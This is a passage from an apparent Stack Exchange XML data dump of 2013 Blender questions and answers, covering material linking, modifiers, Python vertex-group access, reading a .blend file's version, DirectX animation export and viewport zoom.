&lt;strong&gt;obData&lt;/strong&gt; (to &lt;em&gt;mesh&lt;/em&gt; specific data) is ideal when you want a mesh to always have the same material, while linking a material to an &lt;strong&gt;object&lt;/strong&gt; is when you want to have different materials on objects that share the same mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Short explanation: If connected to the &lt;strong&gt;object&lt;/strong&gt;, you can have several instances of the same &lt;strong&gt;obData&lt;/strong&gt; using different materials. If linked to mesh data, you can't.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Options&quot; rel=&quot;nofollow&quot;&gt;reading&lt;/a&gt;..&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;Sorry for the extended explanation but it was to clarify this point. In an answer to your question, I don't think there was ever a &lt;em&gt;set&lt;/em&gt; stated reason as to why this is. Based on how it works however, I am &lt;strong&gt;assuming&lt;/strong&gt; that it is linked to meshes by default as this might be more ideal for beginners or for quickly setting up a scene. It is much more customizable and intuitive than linking to object.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-04T19:19:50.293" LastActivityDate="2013-06-04T19:19:50.293" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="616" PostTypeId="2" ParentId="611" CreationDate="2013-06-04T12:42:53.877" Score="-1" Body="&lt;p&gt;You could always model it manually: &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;LEFTMOUSECLICK&lt;/kbd&gt; will extrude the selected faces to the cursor. If you decide to go along this path, you can easily duplicate the object using the spin tool or the array modifier.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-04T12:42:53.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="617" PostTypeId="2" ParentId="613" CreationDate="2013-06-04T14:18:34.970" Score="12" Body="&lt;p&gt;Who knows what the original reasoning behind this ways, this default was chosen maybe 15 years ago and there has not been a good reason to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me it makes some sense to share by default. When you have a particular object that you want to give a different material than the others sharing the same mesh, then you're there in the material tab editing things anyway and you can change the linking to object at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If linking to object was the default, you might make linked duplicate objects with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;, placing the object in different places in the scene. But now if you want to change the material you have to go and change each individual object.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-06-04T14:18:34.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="618" PostTypeId="2" ParentId="605" CreationDate="2013-06-04T15:13:26.957" Score="2" Body="&lt;p&gt;I think this is what you want(iKlsR also mentions this in the comments):&#xA;&lt;a href=&quot;http://www.blendswap.com/blends/view/41864&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/41864&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .blend file contains a wireframe shader for both quads and triangles.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-04T15:19:51.423" LastActivityDate="2013-06-04T15:19:51.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="619" PostTypeId="5" CreationDate="2013-06-04T15:37:10.677" Score="0" Body="&lt;p&gt;Accessed via: &lt;strong&gt;File &gt; Append&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hotkey:&lt;/strong&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender's wiki page on appending files: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A snippet:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender is able to “reach in” to other .blend files and pull in&#xA;  whatever you want. In this way, Blender supports reuse of your&#xA;  graphical models. For example, if you have a library .blend file that&#xA;  has a really neat material used in it, you can, from your current&#xA;  .blend file, Append that material into your current .blend file. This&#xA;  saves you from manually re-creating all the different settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-04T17:08:48.330" LastActivityDate="2013-06-04T17:08:48.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="620" PostTypeId="4" CreationDate="2013-06-04T15:37:10.677" Score="0" Body="Questions relating to appending assets from one .blend file to another .blend file." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-06-04T17:08:44.613" LastActivityDate="2013-06-04T17:08:44.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="621" PostTypeId="1" AcceptedAnswerId="653" CreationDate="2013-06-04T16:17:01.280" Score="7" ViewCount="2038" Body="&lt;p&gt;I am currently porting some code from the 2.49 API to the 2.6 API and looking for a nice way to replace this function call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vert_list[&quot;bone&quot;] = b_obj.data.getVertsFromGroup(&quot;bone&quot;, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function returned a list of vertex tuples (index, weight).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: A nice side effect of this function was that it also threw an &lt;code&gt;AttributeError&lt;/code&gt; if the had no associated vertices group. Empty VertGroups are not allowed by our exporter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I coded up a working sample for what I think I need based on the 2.49 API to show how I intend to access these values. This has been simplified with hard coded values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;b_obj = bpy.data.objects['Cube']&#xA;b_verts = b_obj.data.vertices&#xA;b_arm = bpy.data.objects['Armature']&#xA;&#xA;&#xA;b_vert_group = b_obj.vertex_groups['Bone']&#xA;b_group_index = b_vert_group.index&#xA;b_list = []&#xA;&#xA;for b_vert in b_verts:&#xA;    for g in b_vert.groups:&#xA;        if g.group == b_group_index:&#xA;            b_list.append((b_vert.index, g.weight))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I am wondering is if anyone has an alternative way of accessing these values or perhaps someone would give a more pythonic version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the samples I have encountered relating to vertex groups are geared towards assignment rather than access. Even if I don't get an answer it might help someone else down the road.&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2013-06-06T10:49:56.610" LastActivityDate="2013-07-02T07:58:04.297" Title="Return list of associated vertex index, weight values for a given vertex_group" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="622" PostTypeId="2" ParentId="611" CreationDate="2013-06-04T16:56:18.103" Score="7" Body="&lt;p&gt;There's a lot of different ways to do this. I suggest using modifiers for a non-destructive workflow. You can get the specific result you're looking for by using a few different modifiers, but perhaps the most straight forward is the &lt;strong&gt;Simple Deform Modifier.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the mesh for the propellor blade, with the origin centered along the Z-axis, and the mesh offset along the Y-axis. The origin position is key for the modifiers to work right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qIIjK.png&quot; alt=&quot;Initial mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.Add an &lt;strong&gt;Empty&lt;/strong&gt;, and rotate it accordingly (you will likely need to adjust the rotation after Step 3, depending on your configuration).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxfWk.png&quot; alt=&quot;Added Empty with rotation&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;strong&gt;Simple Deform&lt;/strong&gt; modifier. This will be used for the bending of the mesh. Set the &lt;strong&gt;Origin&lt;/strong&gt; field to use the &lt;strong&gt;Empty&lt;/strong&gt; you created in step 2. Set the mode to &lt;strong&gt;Bend&lt;/strong&gt; and adjust the &lt;strong&gt;Deform Angle&lt;/strong&gt; as desired. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6uRm.png&quot; alt=&quot;First Simple Deform Modifier&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add another &lt;strong&gt;Simple Deform&lt;/strong&gt; modifier. This second modifier will control the amount of twist. Set the modifier mode to &lt;strong&gt;Twist&lt;/strong&gt; and once again adjust the &lt;strong&gt;Deform Angle&lt;/strong&gt; as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JjIgW.png&quot; alt=&quot;Second Simple Deform Modifier&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="44" LastActivityDate="2013-06-04T16:56:18.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="623" PostTypeId="2" ParentId="452" CreationDate="2013-06-04T18:43:20.057" Score="15" Body="&lt;p&gt;I have been looking into this a bit and I found the answer after looking through the source code for a part of the AMD OpenCL compiler. AMD open sourced a part of their opencl compiler in 2012. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OpenCL translates the Cycles data into an LLVM intermediate representation, and then into AMD's internal language. During this step, it targets a specific fake-forward compatible GPU-like architecture with a fixed amount of registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem arises because the code OpenCL uses to do this does not include the ability to spill registers. Cycles due to its complexity requires more registers at this point in the translation process but the function that translates aborts with &lt;code&gt;E012:Insufficient Local Resources!&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly enough this same code has the following lines where it finds out it is out of registers: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;// No physical register available. Has to spill.&lt;/code&gt; &lt;br&gt;&#xA;&lt;code&gt;// TODO: add spiller&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not mean that adding the support will make Cycles work but this is the current road block people hit when they try to compile with the latest driver catalyst 13.01 and higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lists.cs.uiuc.edu/pipermail/llvm-branch-commits/2012-August/006351.html&quot;&gt;The page with the commit&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://llvm.org/svn/llvm-project/llvm/branches/AMDILBackend/lib/Target/AMDIL/&quot;&gt;The actual code in the LLVM repository&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="333" LastEditorUserId="333" LastEditDate="2013-06-04T19:42:21.073" LastActivityDate="2013-06-04T19:42:21.073" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="624" PostTypeId="1" CreationDate="2013-06-04T20:11:15.880" Score="25" ViewCount="3517" Body="&lt;p&gt;I'd like to know if a &lt;code&gt;.blend&lt;/code&gt; file contains information about the version of Blender it was saved from. I have couple of old files and I'd like to open them in version of blender they were originally created in.&lt;/p&gt;&#xA;" OwnerUserId="181" LastEditorUserId="2217" LastEditDate="2015-01-12T00:23:29.847" LastActivityDate="2021-01-01T03:39:33.313" Title="Do .blend files store information on which version of Blender they were created in?" Tags="&lt;blend-files&gt;&lt;versions&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="625" PostTypeId="2" ParentId="624" CreationDate="2013-06-04T20:20:31.640" Score="2" Body="&lt;p&gt;Blender files are in binary and I'm not sure how to view them, but here's a link to an article(from Blender version 2.48) explaining what a &lt;code&gt;.blend&lt;/code&gt; file is made up of: &lt;a href=&quot;http://www.blender.org/development/architecture/blender-file-format/&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/development/architecture/blender-file-format/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the page, there is a part of the file called the File-Header and in the header the version number is stated(i.e. 253 for 2.53).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not really recommend going through the trouble of this though. Blender is backwards compatable, so you won't be missing any features (except for radiosity which was a way to back indirect light. Blender does this dynamically now). &lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-04T20:20:31.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="626" PostTypeId="2" ParentId="624" CreationDate="2013-06-04T20:28:14.267" Score="8" Body="&lt;p&gt;Yes you can, You can use this program called &lt;a href=&quot;http://www.rock.sannet.ne.jp/lab1092/bl2mext.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bl2magic&lt;/a&gt; &lt;em&gt;(Windows only)&lt;/em&gt;. The page looks sketchy but it's perfectly valid. See a &lt;a href=&quot;http://www.blendernation.com/2006/04/23/blender-around-the-world-japan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderNation&lt;/a&gt; feature on it. There is also a python script there if you're not on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just download the &lt;code&gt;.zip&lt;/code&gt;, extract the program and run it, drop your &lt;code&gt;.blend&lt;/code&gt; file on it and it will print the version it was saved from and if it was compressed or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ap0of.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="55" LastEditDate="2016-03-26T09:10:42.503" LastActivityDate="2016-03-26T09:10:42.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="627" PostTypeId="2" ParentId="624" CreationDate="2013-06-04T20:34:22.163" Score="32" Body="&lt;p&gt;Open the .blend file in any text editor, the first few characters will be something like this (followed by a lot of unreadable binary data which you can ignore):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;BLENDER-v267&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the version number right there, this file would have been saved with Blender 2.67.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not there, that probably means you are looking at a compressed .blend file. In that case you can rename the file to have the extension .blend.gz and decompress it. Note that resaving from Blender doesn't work because the version number would change.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2013-06-04T22:51:10.400" LastActivityDate="2013-06-04T22:51:10.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="628" PostTypeId="1" CreationDate="2013-06-04T21:03:32.760" Score="6" ViewCount="880" Body="&lt;p&gt;I am trying to use the game engine to display side-by-side stereo on two monitors. Does anyone know how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been successful using the standalone player to display side-by-side stereo on a single monitor, but I need each image to go to the corresponding monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I disable 'fullscreen', I have been able to make a large window (2x 1600) display across both monitors. The problem is that the player starts on the right-most monitor, forcing me to drag the window onto the left-most monitor. The window border is not desirable either.&lt;/p&gt;&#xA;" OwnerUserId="340" LastEditorUserId="25" LastEditDate="2013-06-28T15:47:30.880" LastActivityDate="2013-06-28T16:20:03.677" Title="How to make the game engine render stereo on 2 monitors?" Tags="&lt;game-engine&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="629" PostTypeId="1" AcceptedAnswerId="630" CreationDate="2013-06-04T21:05:38.843" Score="14" ViewCount="2258" Body="&lt;p&gt;I want to make a group of party balloons. The strings on the balloons should have slack or be tight based on the length of the string and the location of the balloon. I thought the best way to start this would be to take a long thin cylinder and place it at the base of the balloon. How can I use physics to simulate this long thin cylinder as string?&lt;/p&gt;&#xA;" OwnerUserId="84" LastActivityDate="2013-09-10T20:07:43.417" Title="How to simulate string?" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="630" PostTypeId="2" ParentId="629" CreationDate="2013-06-04T21:16:32.250" Score="12" Body="&lt;p&gt;Based upon &lt;a href=&quot;http://matica.com/tutorials/blender/blender-simulating-a-balloon-tutorial&quot; rel=&quot;nofollow&quot;&gt;this balloon tutorial&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a string&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a bone as the &quot;handle&quot; (which you can then move around as you please)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the cloth simulator to simulate the string and use weight painting to select the part of the string you want to use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20" LastEditorUserId="599" LastEditDate="2013-09-10T20:07:43.417" LastActivityDate="2013-09-10T20:07:43.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="631" PostTypeId="2" ParentId="628" CreationDate="2013-06-04T21:53:35.367" Score="6" Body="&lt;p&gt;You need to setup your desktop to &quot;span&quot; across both screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way both screen areas will be treated as a single desktop. How to accomplish that depends on your OS and graphic card. A good way to test if it's working is to take any application (not-Blender) and see if maximizing it takes over both screens or only one of them. &lt;/p&gt;&#xA;" OwnerUserId="223" LastEditorUserId="223" LastEditDate="2013-06-06T01:23:30.367" LastActivityDate="2013-06-06T01:23:30.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="632" PostTypeId="1" AcceptedAnswerId="635" CreationDate="2013-06-04T23:42:35.610" Score="11" ViewCount="3206" Body="&lt;p&gt;When I export my models and animations I use a .x (Direct X) format. I can see how this format &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/bb172262%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;could accommodate multiple animations&lt;/a&gt;. However, I can't get Blender to export anything other than the &lt;strong&gt;active action&lt;/strong&gt;. I have my animations in different actions, as described in &lt;a href=&quot;https://blender.stackexchange.com/questions/183/how-can-i-manage-multiple-animations-in-one-blend-file&quot;&gt;this question/answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I export multiple animations into one .x file? I'm using the built in exporter for .x files.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2020-06-02T03:42:56.890" Title="How can I export multiple animations into one .x file?" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="633" PostTypeId="1" CreationDate="2013-06-04T23:56:06.653" Score="8" ViewCount="1616" Body="&lt;p&gt;What is the best way to make believable shadows for moving actors that are standing in front of a green screen?&lt;/p&gt;&#xA;&lt;p&gt;Do you need to have a perfect modeled double that follows his movements so it can cast shadows? I'm guessing it becomes very tricky when the actor's clothes and hair are also moving. The other thing is that you are probably limited to your modeling, rigging and animation skills.&lt;/p&gt;&#xA;&lt;p&gt;Is there another way of doing so? Are there some considerations when shooting in front on a green screen regarding the shadows for the integration (with cg)?&lt;/p&gt;&#xA;&lt;p&gt;P.S: If someone knows how they did it on Tears of Steel... that's probably a good place to look. Unfortunately I'm unable to buy the dvds for now.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MNUl1.jpg&quot; alt=&quot;Tears of steel example&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-06-05T19:19:04.813" Title="When integrating live action footage and cg, how to make proper shadows for actors?" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="634" PostTypeId="2" ParentId="624" CreationDate="2013-06-04T23:58:25.053" Score="16" Body="&lt;p&gt;Yes, this is included in the files header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find this out using the &lt;code&gt;file&lt;/code&gt; command (common Unix/Linux systems).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file --uncompress test.blend&#xA;test.blend: Blender3D, saved as 64-bits little endian with version 2.67&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;--uncompress&lt;/code&gt; option will look inside compressed blend files.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-04T23:58:25.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="635" PostTypeId="2" ParentId="632" CreationDate="2013-06-05T00:26:11.267" Score="4" Body="&lt;p&gt;Blender has a DirectX exporter. Go to &lt;em&gt;Addons&lt;/em&gt; in User Preferences and look under &lt;em&gt;Import/Export&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qV7Yf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;em&gt;Export Animations&lt;/em&gt;, this should export all the animations in your file. I would recommend playing with the other animation options as well. You can read up on each setting on its &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/DirectX_Exporter&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ihnwV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Test 1:&lt;/em&gt; I enabled it and made a simple scene with two animations. I exported the file to &lt;code&gt;.x&lt;/code&gt; and opened it in a text editor and I saw the animations in there clearly labeled and with the transform locations I had used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Test 2:&lt;/em&gt; I also downloaded a &lt;code&gt;.x&lt;/code&gt; viewer called &lt;a href=&quot;http://www.kumkie.com/3dmodelviewer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;3dmodelviewer&lt;/a&gt;, exported a file from Blender with over 6 animations and it loaded and played them all so the exporter works with multiple animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NB:&lt;/em&gt;&lt;/strong&gt; In my tests, I parented primitives to several different bones. I also noticed that I had to be in &lt;code&gt;pose mode&lt;/code&gt; when I was animating the objects, if not it doesn't work, not sure why.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-05T01:29:20.900" LastActivityDate="2013-06-05T01:29:20.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="637" PostTypeId="2" ParentId="633" CreationDate="2013-06-05T09:58:56.443" Score="2" Body="&lt;p&gt;Make and rig objects that resemble the actors in sufficient detail as to be able to cast convincing shadows, then animate their movement in the scene such that they coincide with the movements in 3d space of the real-life actor. Then make sure only the shadows they cast get rendered. Then finally you might have to mask out areas where the cg shadows overlap the real-life actors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a static camera position and green screen setup it can be possible to capture the difference in colour values between the green screen scene with and without actors, creating a &lt;code&gt;difference mask&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-06-05T19:19:04.813" LastActivityDate="2013-06-05T19:19:04.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="638" PostTypeId="1" CreationDate="2013-06-05T12:45:49.067" Score="14" ViewCount="2364" Body="&lt;p&gt;I'm robotic engineer. I'm using OpenSCAD to model robotic components (gears, pulleys, parts, etc). But I need application to model physics and interaction of the components (for i.e. how will robot move if I will rotate current gear).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible to import OpenSCAD models into Blender and model interactions in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have models in STL format (for i.e. gears). I need to make reductor from it and see how it moves (if possible - measure rotation speed and torque).&lt;/p&gt;&#xA;" OwnerUserId="347" LastEditorUserId="14" LastEditDate="2013-09-03T14:27:05.963" LastActivityDate="2013-09-05T09:12:09.380" Title="How to model physics in Blender?" Tags="&lt;modeling&gt;&lt;physics&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="639" PostTypeId="1" AcceptedAnswerId="645" CreationDate="2013-06-05T13:02:26.003" Score="8" ViewCount="1727" Body="&lt;p&gt;I am writing a Quake 1 &lt;code&gt;.BSP&lt;/code&gt; import script with python and I want to extract the textures from the &lt;code&gt;.BSP&lt;/code&gt; so that the mesh can be textured. However, the textures are paletized (instead of a color, only an index into a palette is stored for each pixel) and the palette is not contained in the &lt;code&gt;.BSP&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to include the palette in a file with my script, and load it from the script at run time. However, I don't know how to get the path to the palette file, so I can't load it. Is there a way to get the path my script is running in? I've tried using just the file name of the palette, but it didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. I know I &lt;em&gt;could&lt;/em&gt; store the palette in a python file, but I'd rather use the original &lt;code&gt;.PAL&lt;/code&gt; format so that users can swap it for another palette if desired.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2013-06-05T13:21:31.280" LastActivityDate="2018-07-17T17:15:01.307" Title="How do I get the path my script is running in?" Tags="&lt;scripting&gt;&lt;python&gt;&lt;path&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="640" PostTypeId="1" AcceptedAnswerId="656" CreationDate="2013-06-05T13:18:29.590" Score="3" ViewCount="170" Body="&lt;p&gt;Is there a script which can correct all compatibility breaks, (automatically looks what version of Blender the file was made with and adds whatever necessary to get it look like before)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Example&lt;/em&gt;: Let's say normal map strength is now 10 times smaller. For files created prior to 2.67, just multiply the value with 10 after opening in a 2.67+ version, to get the effect the artist really created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, is there a text file listing all those compatibility breaks so that we can understand why, when a file looks weird/wrong?&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="2217" LastEditDate="2014-12-15T17:06:08.593" LastActivityDate="2014-12-15T17:06:08.593" Title="Blender Compatibility Script?" Tags="&lt;blend-files&gt;&lt;compatibility&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="642" PostTypeId="2" ParentId="633" CreationDate="2013-06-05T14:37:25.537" Score="4" Body="&lt;p&gt;The green screen does not remove the shadow as long as your threshold is low enough. Because it's a darker shade of green, the green will be removed, but the gray will stay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that method doesn't work, you can mask around the shadow and add it back in later with the compositor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to make a full scale model and match the lighting as that's more work than it's worth.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-05T14:37:25.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="643" PostTypeId="1" AcceptedAnswerId="652" CreationDate="2013-06-05T14:46:53.653" Score="26" ViewCount="10398" Body="&lt;p&gt;I'm currently trying to extract textures from a binary file, and ideally I'd like to save each texture to a file or embed in the &lt;code&gt;.blend&lt;/code&gt; file. However, before saving an image, I need to be able to create an image in memory from an array of pixel data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PIL library contains the kinds of functions I need to use, but it is not included with Blender. Is there anything similar to PIL in Blender? bpy.ops.image seems to be close to what I need, but lacks necessary pixel set/manipulation functions.&lt;/p&gt;&#xA;" OwnerUserId="328" LastEditorUserId="328" LastEditDate="2013-06-06T01:47:45.250" LastActivityDate="2017-03-11T10:32:18.997" Title="Is it possible to create image data and save to a file from a script" Tags="&lt;scripting&gt;&lt;python&gt;&lt;texturing&gt;&lt;image&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="644" PostTypeId="1" AcceptedAnswerId="651" CreationDate="2013-06-05T14:49:02.113" Score="188" ViewCount="276795" Body="&lt;p&gt;I often find that I can zoom in to a point, but then cannot zoom any more, even when there is a lot of room to zoom to the meshes on the scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is particularly annoying in the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often land up left clicking on the scene and the 3D cursor shifts there. I use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to shift the 3D cursor back to the origin. However, this also centers the view on the cursor and shifts the view to show all objects, and sometimes this zooms things way out &amp;ndash; at this point, if I try to zoom in, I can zoom in to a point (using the pinch/zoom on trackpad), but then it stops zooming in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I zoom in after that? Is there anything else I am doing wrong in this case?&lt;/p&gt;&#xA;" OwnerUserId="349" LastEditorUserId="372" LastEditDate="2013-06-10T13:48:58.417" 